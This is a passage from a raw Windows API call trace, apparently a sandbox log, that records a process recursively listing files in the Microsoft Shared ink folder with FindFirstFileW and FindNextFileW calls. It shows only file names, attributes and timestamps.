lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0054.510] GetLastError () returned 0x12 [0054.510] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0054.510] GetLastError () returned 0x12 [0054.510] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0054.510] GetLastError () returned 0x12 [0054.510] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0054.510] GetLastError () returned 0x12 [0054.510] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0054.510] GetLastError () returned 0x12 [0054.510] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0054.510] GetLastError () returned 0x12 [0054.511] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0054.511] GetLastError () returned 0x12 [0054.511] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0054.511] GetLastError () returned 0x12 [0054.511] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0054.511] GetLastError () returned 0x12 [0054.511] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0054.511] GetLastError () returned 0x12 [0054.511] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0054.511] GetLastError () returned 0x12 [0054.511] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0054.511] GetLastError () returned 0x12 [0054.511] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0054.512] GetLastError () returned 0x12 [0054.512] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0054.512] GetLastError () returned 0x12 [0054.512] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0054.512] GetLastError () returned 0x12 [0054.512] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.512] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.512] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.512] GetLastError () returned 0x12 [0054.512] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.512] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.512] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.512] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0054.512] GetLastError () returned 0x12 [0054.512] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.513] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.513] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.513] GetLastError () returned 0x12 [0054.513] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.513] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.513] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.513] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0054.513] GetLastError () returned 0x12 [0054.513] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0054.513] GetLastError () returned 0x12 [0054.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.513] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.513] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.513] GetLastError () returned 0x12 [0054.514] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.514] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.514] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.514] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0054.514] GetLastError () returned 0x12 [0054.514] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.514] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.514] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.514] GetLastError () returned 0x12 [0054.514] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.514] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.514] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.514] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0054.514] GetLastError () returned 0x12 [0054.514] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.515] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.515] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.515] GetLastError () returned 0x12 [0054.515] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.515] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.515] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.515] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0054.515] GetLastError () returned 0x12 [0054.515] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0054.515] GetLastError () returned 0x12 [0054.515] FindNextFileW (in: 